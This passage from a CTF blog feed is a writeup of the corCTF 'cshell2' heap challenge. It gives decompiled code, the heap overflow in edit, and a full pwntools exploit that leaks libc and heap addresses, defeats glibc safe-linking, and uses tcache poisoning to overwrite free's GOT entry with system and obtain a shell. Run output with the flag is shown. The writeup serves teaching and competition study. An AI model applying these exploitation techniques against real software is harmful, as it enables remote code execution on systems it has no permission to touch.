  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(&quot;Enter index: &quot;);
  __isoc99_scanf(&quot;%hhu&quot;, &amp;amp;v1);
  if ( v1 &amp;lt;= 0xEu &amp;amp;&amp;amp; size_array[2 * v1] )
  {
    free(chunk_array[2 * v1]);
    size_array[2 * v1] = 0LL;
    puts(&quot;Successfully Deleted!&quot;);
  }
  else
  {
    puts(&quot;Either index error or trying to delete something you shouldn&apos;t be...&quot;);
  }
  return v2 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Quite common &lt;code&gt;delete&lt;/code&gt; handler, it prevents double free.
The vulnerability is in the &lt;code&gt;edit&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 edit()
{
  unsigned __int8 idx; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(&quot;Enter index: &quot;);
  __isoc99_scanf(&quot;%hhu&quot;, &amp;amp;idx);
  if ( idx &amp;lt;= 0xEu &amp;amp;&amp;amp; size_array[2 * idx] )
  {
    puts(&quot;Input firstname: &quot;);
    read(0, chunk_array[2 * idx], 8uLL);
    puts(&quot;Input middlename: &quot;);
    read(0, chunk_array[2 * idx]-&amp;gt;midName, 8uLL);
    puts(&quot;Input lastname: &quot;);
    read(0, chunk_array[2 * idx]-&amp;gt;lastName, 8uLL);
    puts(&quot;Input age: &quot;);
    __isoc99_scanf(&quot;%lu&quot;, &amp;amp;chunk_array[2 * idx]-&amp;gt;age);
    printf(&quot;Input bio: (max %d)\n&quot;, size_array[2 * idx] - 32LL);
    read(0, chunk_array[2 * idx]-&amp;gt;bio, size_array[2 * idx] - 32LL);
    puts(&quot;Successfully edit&apos;d!&quot;);
  }
  return v2 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It reads &lt;code&gt;size_array[2 * idx] - 32LL&lt;/code&gt; bytes into a &lt;code&gt;0x100&lt;/code&gt;-sized buffer which leads to a heap overflow.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;There is no actual issue, we can allocate whatever chunk bigger than &lt;code&gt;0x407&lt;/code&gt;, the only fancy thing we have to do would be to defeat safe-linking to get an arbitrary write with a tcache poisoning attack on the &lt;code&gt;0x410&lt;/code&gt; tcache bin. Here is the attack I led against the challenge but that&apos;s not the most optimized.&lt;/p&gt;
&lt;p&gt;The plan is to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocate two &lt;code&gt;0x408&lt;/code&gt;-sized chunks : pivot and victim, in order to easily get later libc leak.&lt;/li&gt;
&lt;li&gt;Allocate 9 more chunks and then fill the &lt;code&gt;0x410&lt;/code&gt; tcachebin with them (with only 7 of them).&lt;/li&gt;
&lt;li&gt;Delete &lt;code&gt;victim&lt;/code&gt; and overflow pivot up to the next free pointer of &lt;code&gt;victim&lt;/code&gt; to get a libc leak.&lt;/li&gt;
&lt;li&gt;Allocate a &lt;code&gt;0x408&lt;/code&gt;-sized chunk to get the &lt;code&gt;8&lt;/code&gt;-th chunk (within &lt;code&gt;chunk_array&lt;/code&gt;) which is on the top of the bin.&lt;/li&gt;
&lt;li&gt;Leak the heap same way as for libc, but we have to defeat safe-linking.&lt;/li&gt;
&lt;li&gt;Delete the &lt;code&gt;9&lt;/code&gt;-th chunk to put it in the tcachebin at the first position.&lt;/li&gt;
&lt;li&gt;Then we can simply &lt;code&gt;edit&lt;/code&gt; chunk &lt;code&gt;8&lt;/code&gt; and overflow over chunk &lt;code&gt;9&lt;/code&gt; to poison its next &lt;code&gt;fp&lt;/code&gt; to hiijack it toward the GOT entry of &lt;code&gt;free&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Pop chunk &lt;code&gt;9&lt;/code&gt; from the freelist and then request another the target memory area : the GOT entry of &lt;code&gt;free&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Write &lt;code&gt;system&lt;/code&gt; into the GOT entry of &lt;code&gt;free&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Free whatever chunk for which &lt;code&gt;//bin/sh&lt;/code&gt; is written at the right begin.&lt;/li&gt;
&lt;li&gt;PROFIT.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To understand the attack process I&apos;ll show the heap state at certain part of the attack.&lt;/p&gt;
&lt;h2&gt;Libc / heap leak&lt;/h2&gt;
&lt;p&gt;First we have to fill the tcache. We allocate a chunk right after &lt;code&gt;chunk0&lt;/code&gt; we do not put into the tcache to be able to put it in the unsortedbin to make appear unsortedbin&apos;s address:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add(0, 1032, b&quot;//bin/sh\x00&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;) # pivot
add(1, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;) # victim

for i in range(2, 7+2 + 2):
    add(i, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)

for i in range(2, 7+2):
    delete(i)

delete(1)
edit(0, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;Y&quot;*(1032 - 64 + 7))

show(0)
io.recvuntil(b&quot;Y&quot;*(1032 - 64 + 7) + b&quot;\n&quot;)
libc.address = pwn.u64(io.recvuntil(b&quot;1 Add\n&quot;)[:-6].ljust(8, b&quot;\x00&quot;)) - 0x1c7cc0
pwn.log.info(f&quot;libc: {hex(libc.address)}&quot;)

# Heap state:
&quot;&quot;&quot;
0x1de1290	0x0000000000000000	0x0000000000000411	................ [chunk0]
0x1de12a0	0x68732f6e69622f0a	0x0000000000000a0a	./bin/sh........
0x1de12b0	0x000000000000000a	0x0000000000000539	........9.......
0x1de12c0	0x0000000000000000	0x0000000000000000	................
0x1de12d0	0x0000000000000000	0x0000000000000000	................
0x1de12e0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de12f0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1300	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1310	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1320	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1330	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1340	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1350	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1360	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1370	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1380	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1390	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de13a0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de13b0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de13c0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de13d0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de13e0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de13f0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1400	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1410	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1420	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1430	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1440	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1450	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1460	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1470	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1480	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1490	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de14a0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de14b0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de14c0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de14d0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de14e0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de14f0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1500	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1510	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1520	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1530	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1540	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1550	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1560	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1570	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1580	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1590	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de15a0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de15b0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de15c0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de15d0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de15e0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de15f0	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1600	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1610	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1620	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1630	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1640	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1650	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1660	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1670	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1680	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de1690	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x1de16a0	0x5959595959595959	0x0a59595959595959	YYYYYYYYYYYYYYY.	 &amp;lt;-- unsortedbin[all][0] [chunk1]
0x1de16b0	0x00007f34f64c3cc0	0x00007f34f64c3cc0	.&amp;lt;L.4....&amp;lt;L.4...
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then let&apos;s get a heap leak, we request back from the tcache the 8-th chunk, we free the &lt;code&gt;9&lt;/code&gt;-th chunk that is allocated right after the &lt;code&gt;8&lt;/code&gt;-th to be able to leak its next free pointer same way as for the libc previously. Plus we have to defeat safe-linking. To understand the defeat of safe-linking I advice you to read &lt;a href=&quot;https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation&quot;&gt;this&lt;/a&gt;. It ends up to the &lt;code&gt;decrypt_pointer&lt;/code&gt; function that makes use of known parts of the encrypted &lt;code&gt;fp&lt;/code&gt; to decrypt the whole pointer. I didn&apos;t code the function by myself, too lazy for that, code comes from the &lt;a href=&quot;https://github.com/AeroCTF/aero-ctf-2022/blob/main/tasks/pwn/heap-2022/solution/sploit.py#L44&quot;&gt;AeroCTF heap-2022 writeup&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def decrypt_pointer(leak: int) -&amp;gt; int:
    parts = []

    parts.append((leak &amp;gt;&amp;gt; 36) &amp;lt;&amp;lt; 36)
    parts.append((((leak &amp;gt;&amp;gt; 24) &amp;amp; 0xFFF) ^ (parts[0] &amp;gt;&amp;gt; 36)) &amp;lt;&amp;lt; 24)
    parts.append((((leak &amp;gt;&amp;gt; 12) &amp;amp; 0xFFF) ^ ((parts[1] &amp;gt;&amp;gt; 24) &amp;amp; 0xFFF)) &amp;lt;&amp;lt; 12)

    return parts[0] | parts[1] | parts[2]

add(11, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)

delete(9)
edit(11, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;X&quot;*(1032 - 64 + 7))

show(11)
io.recvuntil(b&quot;X&quot;*(1032 - 64 + 7) + b&quot;\n&quot;)
heap = decrypt_pointer(pwn.u64(io.recvuntil(b&quot;1 Add\n&quot;)[:-6].ljust(8, b&quot;\x00&quot;))) - 0x1000
pwn.log.info(f&quot;heap: {hex(heap)}&quot;)

# Heap state

&quot;&quot;&quot;
0x13f6310	0x0000000000000000	0x0000000000000411	................ [chunk8]
0x13f6320	0x00000000013f4c0a	0x000000000000000a	.L?.............
0x13f6330	0x000000000000000a	0x0000000000000539	........9.......
0x13f6340	0x0000000000000000	0x0000000000000000	................
0x13f6350	0x0000000000000000	0x0000000000000000	................
0x13f6360	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX [chun8-&amp;gt;bio]
0x13f6370	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6380	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6390	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f63a0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f63b0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f63c0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f63d0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f63e0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f63f0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6400	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6410	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6420	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6430	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6440	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6450	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6460	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6470	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6480	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6490	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f64a0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f64b0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f64c0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f64d0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f64e0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f64f0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6500	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6510	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6520	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6530	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6540	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6550	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6560	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6570	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6580	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6590	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f65a0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f65b0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f65c0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f65d0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f65e0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f65f0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6600	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6610	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6620	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6630	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6640	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6650	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6660	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6670	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6680	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6690	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f66a0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f66b0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f66c0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f66d0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f66e0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f66f0	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6700	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6710	0x5858585858585858	0x5858585858585858	XXXXXXXXXXXXXXXX
0x13f6720	0x5858585858585858	0x0a58585858585858	XXXXXXXXXXXXXXX.
0x13f6730	0x00000000013f4ce6	0xdc8340f7dfc0b0e1	.L?..........@..	 &amp;lt;-- tcachebins[0x410][0/7] [chunk9]
&quot;&quot;&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then here we are, we leaked both libc and heap base addresses. We just have to to tcache poisoning on &lt;code&gt;free&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Tcache poisoning + PROFIT&lt;/h2&gt;
&lt;p&gt;We overflow the &lt;code&gt;8&lt;/code&gt;-th chunk to overwrite the next freepointer of &lt;code&gt;chunk9&lt;/code&gt; that is stored at the HEAD of the &lt;code&gt;0x410&lt;/code&gt; tcachebin. Then we got an arbitrary write.
We craft a nice header to be able to request it back from the tcache, and we encrypt the &lt;code&gt;next&lt;/code&gt; with the location of the &lt;code&gt;chunk9&lt;/code&gt; to pass safe-linking checks.&lt;/p&gt;
&lt;p&gt;Given we hiijack GOT we initialized properly some pointers around to avoid segfaults. We do not get a write into the GOT entry of &lt;code&gt;free&lt;/code&gt; cause it is unaliagned and &lt;code&gt;malloc&lt;/code&gt; needs &lt;code&gt;16&lt;/code&gt; bytes aligned next free pointer.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;edit(11, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;X&quot;*(1032 - 64) + pwn.p64(0x411) + pwn.p64(((heap + 0x2730) &amp;gt;&amp;gt; 12) ^ (exe.got.free - 0x8)))

# dumb
add(12, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)

io.sendlineafter(b&quot;5 re-age user\n&quot;, b&quot;1&quot;)
io.sendlineafter(b&quot;index: \n&quot;, str(13).encode())
io.sendlineafter(b&quot;Enter size (1032 minimum): \n&quot;, str(1032).encode())
io.sendafter(b&quot;Input firstname: \n&quot;, pwn.p64(libc.address + 0xbbdf80))
io.sendafter(b&quot;Input middlename: \n&quot;, pwn.p64(libc.sym.system))
io.sendafter(b&quot;Input lastname: \n&quot;, pwn.p64(libc.address + 0x71ab0))
io.sendlineafter(b&quot;Input age: \n&quot;, str(0).encode())
io.sendafter(b&quot;Input bio: \n&quot;, pwn.p64(libc.address + 0x4cb40))

# Finally

delete(0)
io.sendline(b&quot;cat flag.txt&quot;)
pwn.log.info(f&quot;flag: {io.recvline()}&quot;)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/Documents/pwn/corCTF/cshell2$ python3 exploit.py REMOTE HOST=be.ax PORT=31667
[*] &apos;/home/nasm/Documents/pwn/corCTF/cshell2/cshell2&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fb000)
    RUNPATH:  b&apos;.&apos;
[*] &apos;/home/nasm/Documents/pwn/corCTF/cshell2/libc.so.6&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to be.ax on port 31667: Done
[*] libc: 0x7f1d388db000
[*] heap: 0x665000
[*] flag: b&apos;corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}\n&apos;
[*] Switching to interactive mode
$
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Appendices&lt;/h2&gt;
&lt;p&gt;Final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(&apos;cshell2&apos;)
libc = pwn.ELF(&quot;./libc.so.6&quot;)

pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
pwn.context.timeout = 2000

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
continue
&apos;&apos;&apos;.format(**locals())

io = None


io = start()

def add(idx, size, firstname, midname, lastname, age, bio, l=True):
    io.sendlineafter(b&quot;5 re-age user\n&quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;index: \n&quot;, str(idx).encode())
    io.sendlineafter(b&quot;Enter size (1032 minimum): \n&quot;, str(size).encode())
    if l:
        io.sendlineafter(b&quot;Input firstname: \n&quot;, firstname)
        io.sendlineafter(b&quot;Input middlename: \n&quot;, midname)
        io.sendlineafter(b&quot;Input lastname: \n&quot;, lastname)
        io.sendlineafter(b&quot;Input age: \n&quot;, str(age).encode())
        io.sendlineafter(b&quot;Input bio: \n&quot;, bio)

    else:
        io.sendafter(b&quot;Input firstname: \n&quot;, firstname)
        io.sendafter(b&quot;Input middlename: \n&quot;, midname)
        io.sendafter(b&quot;Input lastname: \n&quot;, lastname)
        io.sendafter(b&quot;Input age: \n&quot;, str(age).encode())
        io.sendafter(b&quot;Input bio: \n&quot;, bio)



def show(idx):
    io.sendlineafter(b&quot;5 re-age user\n&quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;index: &quot;, str(idx).encode())

def delete(idx):
    io.sendlineafter(b&quot;5 re-age user\n&quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;index: &quot;, str(idx).encode())

def edit(idx, firstname, midname, lastname, age, bio):
    io.sendlineafter(b&quot;5 re-age user\n&quot;, b&quot;4&quot;)
    io.sendlineafter(b&quot;index: &quot;, str(idx).encode())
    
    io.sendlineafter(b&quot;Input firstname: \n&quot;, firstname)
    io.sendlineafter(b&quot;Input middlename: \n&quot;, midname)
    io.sendlineafter(b&quot;Input lastname: \n&quot;, lastname)
    io.sendlineafter(b&quot;Input age: \n&quot;, str(age).encode())
    io.sendlineafter(b&quot;)\n&quot;, bio)

def decrypt_pointer(leak: int) -&amp;gt; int:
    parts = []

    parts.append((leak &amp;gt;&amp;gt; 36) &amp;lt;&amp;lt; 36)
    parts.append((((leak &amp;gt;&amp;gt; 24) &amp;amp; 0xFFF) ^ (parts[0] &amp;gt;&amp;gt; 36)) &amp;lt;&amp;lt; 24)
    parts.append((((leak &amp;gt;&amp;gt; 12) &amp;amp; 0xFFF) ^ ((parts[1] &amp;gt;&amp;gt; 24) &amp;amp; 0xFFF)) &amp;lt;&amp;lt; 12)

    return parts[0] | parts[1] | parts[2]

add(0, 1032, b&quot;//bin/sh\x00&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)
add(1, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)

for i in range(2, 7+2 + 2):
    add(i, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)

for i in range(2, 7+2):
    delete(i)

delete(1)
edit(0, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;Y&quot;*(1032 - 64 + 7))

show(0)
io.recvuntil(b&quot;Y&quot;*(1032 - 64 + 7) + b&quot;\n&quot;)
libc.address = pwn.u64(io.recvuntil(b&quot;1 Add\n&quot;)[:-6].ljust(8, b&quot;\x00&quot;)) - 0x1c7cc0
pwn.log.info(f&quot;libc: {hex(libc.address)}&quot;)

add(11, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)

delete(9)

edit(11, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;X&quot;*(1032 - 64 + 7))

show(11)
io.recvuntil(b&quot;X&quot;*(1032 - 64 + 7) + b&quot;\n&quot;)
heap = decrypt_pointer(pwn.u64(io.recvuntil(b&quot;1 Add\n&quot;)[:-6].ljust(8, b&quot;\x00&quot;))) - 0x1000
pwn.log.info(f&quot;heap: {hex(heap)}&quot;)

environ = libc.address + 0xbe02f0

edit(11, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;X&quot;*(1032 - 64) + pwn.p64(0x411) + pwn.p64(((heap + 0x2730) &amp;gt;&amp;gt; 12) ^ (0x404010)))

# dumb
add(12, 1032, b&quot;&quot;, b&quot;&quot;, b&quot;&quot;, 1337, b&quot;&quot;)

#===

io.sendlineafter(b&quot;5 re-age user\n&quot;, b&quot;1&quot;)
io.sendlineafter(b&quot;index: \n&quot;, str(13).encode())
io.sendlineafter(b&quot;Enter size (1032 minimum): \n&quot;, str(1032).encode())
io.sendafter(b&quot;Input firstname: \n&quot;, pwn.p64(libc.address + 0xbbdf80))
io.sendafter(b&quot;Input middlename: \n&quot;, pwn.p64(libc.sym.system))
io.sendafter(b&quot;Input lastname: \n&quot;, pwn.p64(libc.address + 0x71ab0))
io.sendlineafter(b&quot;Input age: \n&quot;, str(0).encode())
io.sendafter(b&quot;Input bio: \n&quot;, pwn.p64(libc.address + 0x4cb40))

delete(0)
io.sendline(b&quot;cat flag.txt&quot;)
pwn.log.info(f&quot;flag: {io.recvline()}&quot;)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[diceCTF 2022 - pwn] catastrophe</title><link>https://n4sm.github.io/posts/catastrophe/</link><guid isPermaLink="true">https://n4sm.github.io/posts/catastrophe/</guid><description>catastrophe is a heap challenge I did during the diceCTF 2022</description><pubDate>Thu, 28 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;I just learned how to use malloc and free... am I doing this right?&lt;/p&gt;
&lt;/blockquote&gt;
